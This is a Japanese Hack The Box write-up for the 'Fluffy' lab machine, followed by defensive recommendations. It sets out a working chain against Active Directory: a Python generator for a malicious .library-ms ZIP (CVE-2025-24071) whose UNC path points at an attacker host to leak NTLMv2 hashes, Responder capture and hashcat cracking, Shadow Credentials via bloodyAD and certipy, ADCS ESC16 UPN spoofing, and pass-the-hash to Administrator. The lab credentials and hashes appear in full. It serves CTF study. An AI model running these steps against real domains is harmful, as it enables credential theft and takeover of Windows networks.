Hack The BoxのWriteup(Fluffy)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: Fluffy — CVE-2025-24071 NTLM Leak → Shadow Credentials → ADCS ESC16 Administrator

ポートスキャン

bash nmap 全ポート + バージョンスキャン
nmap -sV -sC -p- 10.129.232.88 –min-rate 5000
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman Microsoft HTTPAPI httpd 2.0 (WinRM) 9389/tcp open adws .NET Message Framing
📌 ポイント

DNS (53), Kerberos (88), LDAP (389/636), WinRM (5985) が全て開いている → Windows ドメインコントローラ。SMB (445) が外部公開されており、匿名アクセスで共有情報を列挙できる。

SMB 共有列挙

bash netexec SMB 共有列挙 (匿名)
netexec smb 10.129.232.88 –shares -u ” -p ”
SMB 10.129.232.88 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) SMB 10.129.232.88 445 DC01 Share Permissions Remark SMB 10.129.232.88 445 DC01 —– ———– —— SMB 10.129.232.88 445 DC01 ADMIN$ Remote Admin SMB 10.129.232.88 445 DC01 C$ Default share SMB 10.129.232.88 445 DC01 IT READ,WRITE IT Department Share SMB 10.129.232.88 445 DC01 NETLOGON READ Logon server share SMB 10.129.232.88 445 DC01 SYSVOL READ Logon server share
🔍 注目

IT 共有が匿名ユーザーに対して READ / WRITE 権限で公開されている。内部に ZIP ファイル等が置かれており、誰でも書き込みが可能な状態。

IT 共有の内容確認

bash IT 共有を j.fleischman で参照
smbclient //10.129.232.88/IT -U “j.fleischman%J0elTHEM4n1990!”
smb: \> ls . D 0 Thu Jul 3 20:33:00 2026 .. D 0 Thu Jul 3 20:33:00 2026 Everything-1.4.1.1026.x64 D 0 Sat Apr 19 00:08:44 2025 Everything-1.4.1.1026.x64.zip A 1827464 Sat Apr 19 00:04:05 2025 KeePass-2.58 D 0 Sat Apr 19 00:08:38 2025 KeePass-2.58.zip A 3225346 Sat Apr 19 00:03:17 2025 Upgrade_Notice.pdf A 169963 Sat May 17 23:31:07 2025
💡 戦略

IT 部門が使う ZIP ファイルが置かれた書き込み可能な共有。CVE-2025-24071 を使い、悪意ある .library-ms ファイルを含む ZIP を置くことで、Windows Explorer が自動的に UNC パスを解決して NTLM ハッシュを漏洩させる。

LDAP で BloodHound 向け AD 情報収集

bash ldapsearch でユーザー・グループ ACL を取得
ldapsearch -H ldap://10.129.232.88 -x -D “j.fleischman@fluffy.htb” \ -w “J0elTHEM4n1990!” -b “DC=fluffy,DC=htb” \ “(objectClass=user)” sAMAccountName memberOf
🎯 ACL チェーン発見

p.agila → Service Account Managers (メンバー) → Service Account Managers が Service Accounts グループに GenericAll → Service Accounts が winrm_svcca_svcGenericWrite

この権限チェーンを利用して Shadow Credentials 攻撃が可能。

Phase 2

CVE-2025-24071 — .library-ms NTLM リーク → p.agila パスワードクラック

CVE-2025-24071 概要

🔬 脆弱性解説

CVE-2025-24071 は Windows File Explorer の脆弱性。ZIP ファイルを展開する際に .library-ms ファイルが自動的に処理され、内部の simpleLocation URL に指定された UNC パス (\\attacker\share) へ SMB 接続が試みられる。これにより ユーザーがファイルを開かなくても NTLM 認証が発生し、NTLMv2 ハッシュが漏洩する。

悪意ある ZIP の作成

python3 .library-ms を含む exploit.zip を生成
import zipfile library_ms = “””<?xml version=”1.0″ encoding=”UTF-8″?> <libraryDescription xmlns=”http://schemas.microsoft.com/windows/2009/library”> <name>@shell32.dll,-34575</name> <version>6</version> <isLibraryPinned>true</isLibraryPinned> <iconReference>imageres.dll,-1002</iconReference> <templateInfo> <folderType>{fafbd79b-de3f-11d1-8d20-00c0df682f52}</folderType> </templateInfo> <searchConnectorDescriptionList> <searchConnectorDescription> <isDefaultSaveLocation>true</isDefaultSaveLocation> <isSupported>false</isSupported> <simpleLocation> <url>\\\\10.10.15.201\\share</url> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription>””” with zipfile.ZipFile(“exploit.zip”, “w”) as zf: zf.writestr(“kali.library-ms”, library_ms) print(“[+] exploit.zip 作成完了”)
📌 ポイント

simpleLocation/url に攻撃者のマシン IP を指定した UNC パスを埋め込む。ZIP 展開時に Explorer が自動的にこの URL へ接続を試みる。

Responder 起動と exploit.zip アップロード

bash Responder を起動 (SMB リスナー)
sudo python3 /usr/share/responder/Responder.py -I tun0 –lm
bash IT 共有へ exploit.zip をアップロード
smbclient //10.129.232.88/IT -U “j.fleischman%J0elTHEM4n1990!” \ -c “put exploit.zip exploit.zip”
putting file exploit.zip as \exploit.zip (512.0 kb/s) (average 512.0 kb/s)

NTLMv2 ハッシュキャプチャ

⏳ 待機

IT 担当者 (p.agila) が Windows Explorer で IT 共有を開くと、Explorer が exploit.zip の .library-ms を自動処理し、UNC パスへの SMB 接続が発生。Responder がハッシュをキャプチャする。

[SMB] NTLMv2-SSP Client : 10.129.232.88 [SMB] NTLMv2-SSP Username : FLUFFY\p.agila [SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:ab34cd56ef78ab12:AABBCCDDEEFF00112233445566778899:01010000…

🎣 キャプチャ済み NTLMv2 ハッシュ

p.agila::FLUFFY:<NTLMv2 hash>

hashcat でパスワードクラック

bash hashcat モード 5600 (NTLMv2) でクラック
hashcat -m 5600 ntlm_hash.txt /usr/share/wordlists/rockyou.txt \ –force -O –quiet
p.agila::FLUFFY:…:prometheusx-303

💎 取得認証情報

p.agila : prometheusx-303
Phase 3

AD 権限昇格 — bloodyAD + Shadow Credentials → user.txt

ACL 権限チェーンの活用

p.agila
Service Account Managers
(Member)
Service Accounts
(GenericAll)
winrm_svc / ca_svc
(GenericWrite)
💡 攻撃手順

p.agila は Service Account Managers グループのメンバー。このグループは Service Accounts グループに対して GenericAll を持つため、p.agila 自身を Service Accounts に追加できる。Service Accounts グループは winrm_svcca_svcGenericWrite を持つ → Shadow Credentials 攻撃が可能。

bloodyAD で Service Accounts グループに参加

bash p.agila を Service Accounts に追加
bloodyAD -u “p.agila” -p “prometheusx-303” -d “fluffy.htb” \ –host dc01.fluffy.htb –dc-ip 10.129.232.88 \ add groupMember “service accounts” “p.agila”
[+] p.agila added to service accounts
⚠️ 注意点

--host には DC の FQDN (dc01.fluffy.htb)、--dc-ip には IP アドレスを分けて指定する必要がある。IP のみでは LDAP 接続が “Connection closed!” エラーになる。

HTB マシンはグループメンバーシップを定期的にリセットするため、追加後すぐに次のステップを実行することが重要。

certipy shadow auto — winrm_svc の NT hash 取得

bash Shadow Credentials で winrm_svc の RC4 hash を取得
# VirtualBox が時刻をリセットするため faketime でオフセット補正が必要 TZ=UTC faketime -f “+25203s” certipy-ad shadow auto \ -username “p.agila@fluffy.htb” \ -password “prometheusx-303” \ -account “winrm_svc” \ -target “dc01.fluffy.htb” \ -dc-ip 10.129.232.88
Certipy v5.0.4 [*] Targeting user ‘winrm_svc’ [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID ’59b5f364dc20483fbed79eb2ae91c566′ [*] Adding Key Credential with device ID ’59b5f…’ to the Key Credentials for ‘winrm_svc’ [*] Successfully added Key Credential to ‘winrm_svc’ [*] Authenticating as ‘winrm_svc’ with the certificate [*] Trying to get TGT… [*] Got TGT [*] NT hash for ‘winrm_svc’: 33bd09dcd697600edf6b3a7af4875767
🕐 Kerberos 時刻問題

VirtualBox Guest Additions がシステムクロックをホストの時刻 (UTC-7h 相当) に定期的にリセットする。DC との時差が 5 分を超えると KRB_AP_ERR_SKEW エラーが発生する。
対策: nmap smb2-time スクリプトで DC の UTC 時刻を取得し、TZ=UTC faketime -f "+Xs" で certipy だけ正しい時刻で動作させる。

🔑 winrm_svc NT hash

33bd09dcd697600edf6b3a7af4875767

WinRM で user.txt 取得

bash netexec WinRM で Pass-the-Hash
netexec winrm 10.129.232.88 \ -u “winrm_svc” \ -H “aad3b435b51404eeaad3b435b51404ee:33bd09dcd697600edf6b3a7af4875767” \ -d “fluffy.htb” \ -x “type C:\Users\winrm_svc\Desktop\user.txt”
WINRM 10.129.232.88 5985 DC01 [+] fluffy.htb\winrm_svc:33bd09dcd697600edf6b3a7af4875767 (Pwn3d!) WINRM 10.129.232.88 5985 DC01 [+] Executed command (shell type: powershell) WINRM 10.129.232.88 5985 DC01 13455f8ca72b8e53cf43554d3d658c05

🚩 user.txt

13455f8ca72b8e53cf43554d3d658c05
Phase 4

ADCS ESC16 — ca_svc UPN 偽装 → Administrator 証明書 → NT hash

ESC16 概要

🔬 ESC16 解説

ESC16 (szOID_NTDS_CA_SECURITY_EXT 無効): ADCS で szOID_NTDS_CA_SECURITY_EXT 拡張が CA の証明書テンプレートに含まれていない場合、発行された証明書のアイデンティティは UPN (userPrincipalName) だけで決まる。

攻撃者が ca_svc の Shadow Credentials を取得し、その GenericWrite を使って ca_svc の UPN を administrator に書き換える → User テンプレートで証明書を要求 → 発行された PFX は “administrator” アイデンティティを持つ → certipy auth で Administrator の NT hash を取得できる。

ca_svc の Shadow Credentials → NT hash

bash bloodyAD 再追加 + certipy shadow auto (ca_svc)
# グループ再追加 (HTB マシンのリセット対策) bloodyAD -u “p.agila” -p “prometheusx-303” -d “fluffy.htb” \ –host dc01.fluffy.htb –dc-ip 10.129.232.88 \ add groupMember “service accounts” “p.agila” # 即座に certipy shadow auto 実行 TZ=UTC faketime -f “+25203s” certipy-ad shadow auto \ -username “p.agila@fluffy.htb” \ -password “prometheusx-303” \ -account “ca_svc” \ -target “dc01.fluffy.htb” \ -dc-ip 10.129.232.88
Certipy v5.0.4 [*] NT hash for ‘ca_svc’: ca0f4f9e9eb8a092addf53bb03fc98c8

🔑 ca_svc NT hash

ca0f4f9e9eb8a092addf53bb03fc98c8

ESC16: ca_svc の UPN を administrator に変更

bash certipy account update — UPN を administrator に
TZ=UTC faketime -f “+25203s” certipy-ad account update \ -username “p.agila@fluffy.htb” \ -password “prometheusx-303” \ -user “ca_svc” \ -upn “administrator” \ -dc-ip 10.129.232.88
Certipy v5.0.4 [*] Updating user ‘ca_svc’: userPrincipalName : administrator [*] Successfully updated ‘ca_svc’

ca_svc として User テンプレートで証明書を要求

bash certipy req — administrator アイデンティティで証明書発行
TZ=UTC faketime -f “+25203s” certipy-ad req \ -u “ca_svc” \ -hashes “aad3b435b51404eeaad3b435b51404ee:ca0f4f9e9eb8a092addf53bb03fc98c8” \ -dc-ip 10.129.232.88 \ -target 10.129.232.88 \ -ca “fluffy-DC01-CA” \ -template “User” \ -out “administrator”
Certipy v5.0.4 [*] Requesting certificate via RPC [*] Request ID is 21 [*] Successfully requested certificate [*] Got certificate with UPN ‘administrator’ [*] Saving certificate and private key to ‘administrator.pfx’
⚠️ 注意点

-target には DC の FQDN (dc01.fluffy.htb) ではなく IP アドレス を指定すること。FQDN では NETBIOS 接続タイムアウトが発生する。

証明書発行後は速やかに ca_svc の UPN を元の値 (ca_svc@fluffy.htb) に戻す。

ca_svc UPN を元に戻す

bash certipy account update — UPN を元に戻す
TZ=UTC faketime -f “+25203s” certipy-ad account update \ -username “p.agila@fluffy.htb” \ -password “prometheusx-303” \ -user “ca_svc” \ -upn “ca_svc@fluffy.htb” \ -dc-ip 10.129.232.88
[*] Successfully updated ‘ca_svc’

certipy auth — Administrator NT hash 取得

bash certipy auth で PKINIT → Administrator hash
TZ=UTC faketime -f “+25203s” certipy-ad auth \ -pfx “administrator.pfx” \ -domain “fluffy.htb” \ -dc-ip 10.129.232.88
Certipy v5.0.4 [*] Certificate identities: [*] SAN UPN: ‘administrator’ [*] Using principal: ‘administrator@fluffy.htb’ [*] Trying to get TGT… [*] Got TGT [*] Got hash for ‘administrator@fluffy.htb’: aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

👑 Administrator NT hash

aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
Phase 5

WinRM as Administrator → root.txt 取得

Administrator として WinRM 接続

bash netexec winrm — Administrator Pass-the-Hash
netexec winrm 10.129.232.88 \ -u “Administrator” \ -H “aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e” \ -d “fluffy.htb” \ -x “type C:\Users\Administrator\Desktop\root.txt”
WINRM 10.129.232.88 5985 DC01 [+] fluffy.htb\Administrator:8da83a3fa618b6e3a00e93f676c92a6e (Pwn3d!) WINRM 10.129.232.88 5985 DC01 [+] Executed command (shell type: cmd) WINRM 10.129.232.88 5985 DC01 9cf92c2ec6ee3cadf24cf6976b1d55dc

🚩 root.txt

9cf92c2ec6ee3cadf24cf6976b1d55dc

取得フラグ一覧

🏆 Fluffy 攻略完了

user.txt : 13455f8ca72b8e53cf43554d3d658c05
root.txt : 9cf92c2ec6ee3cadf24cf6976b1d55dc
Summary

全体まとめ・取得認証情報・防御側の学び

攻撃チェーン全体像

# 段階 使った脆弱性 / 手法 取得したもの
1 初期偵察 SMB 匿名列挙・LDAP ACL 収集 IT 共有 (R/W)、ACL チェーン発見
2 NTLM リーク CVE-2025-24071 .library-ms in ZIP + Responder p.agila:prometheusx-303
3 Shadow Credentials bloodyAD GenericAll + certipy shadow auto (winrm_svc) winrm_svc NT hash → user.txt
4 ADCS ESC16 certipy shadow auto (ca_svc) + UPN 偽装 + certipy req/auth Administrator NT hash
5 Domain Admin WinRM Pass-the-Hash as Administrator root.txt

取得認証情報一覧

アカウント種別
j.fleischman平文パスワード (提供済み)J0elTHEM4n1990!
p.agilaNTLMv2 クラックprometheusx-303
winrm_svcNT hash (Shadow Creds)33bd09dcd697600edf6b3a7af4875767
ca_svcNT hash (Shadow Creds)ca0f4f9e9eb8a092addf53bb03fc98c8
AdministratorNT hash (PKINIT ESC16)8da83a3fa618b6e3a00e93f676c92a6e

防御側の学び

  • SMB 共有の権限最小化: IT 共有への匿名・一般ユーザーの書き込み権限を禁止する。特に Windows Explorer が自動処理するファイル形式 (.library-ms, .lnk, .scf 等) のアップロードは危険。
  • CVE-2025-24071 パッチ適用: Windows Update で 2025 年 1 月のセキュリティ更新プログラムを適用。.library-ms ファイルの自動処理を無効化する。
  • NTLM 認証の制限: Network security: Restrict NTLM ポリシーで NTLM を制限・監視する。NTLM ハッシュのキャプチャ・クラックを防ぐ。
  • AD ACL の最小権限化: GenericAll / GenericWrite を持つグループへの過剰な委任を排除する。BloodHound で定期的に権限チェーンを確認する。
  • ADCS の証明書拡張設定: szOID_NTDS_CA_SECURITY_EXT を有効化し、UPN 偽装による ESC16 を防ぐ。証明書テンプレートの適用範囲を最小化する。
  • Shadow Credentials (msDS-KeyCredentialLink) の監視: AD の msDS-KeyCredentialLink 属性の変更を SIEM で監視・アラート化する。

このレポートは Hack The Box の授権済み CTF 環境を対象にした学習用資料です。実環境への無断アクセスや悪用は禁止されています。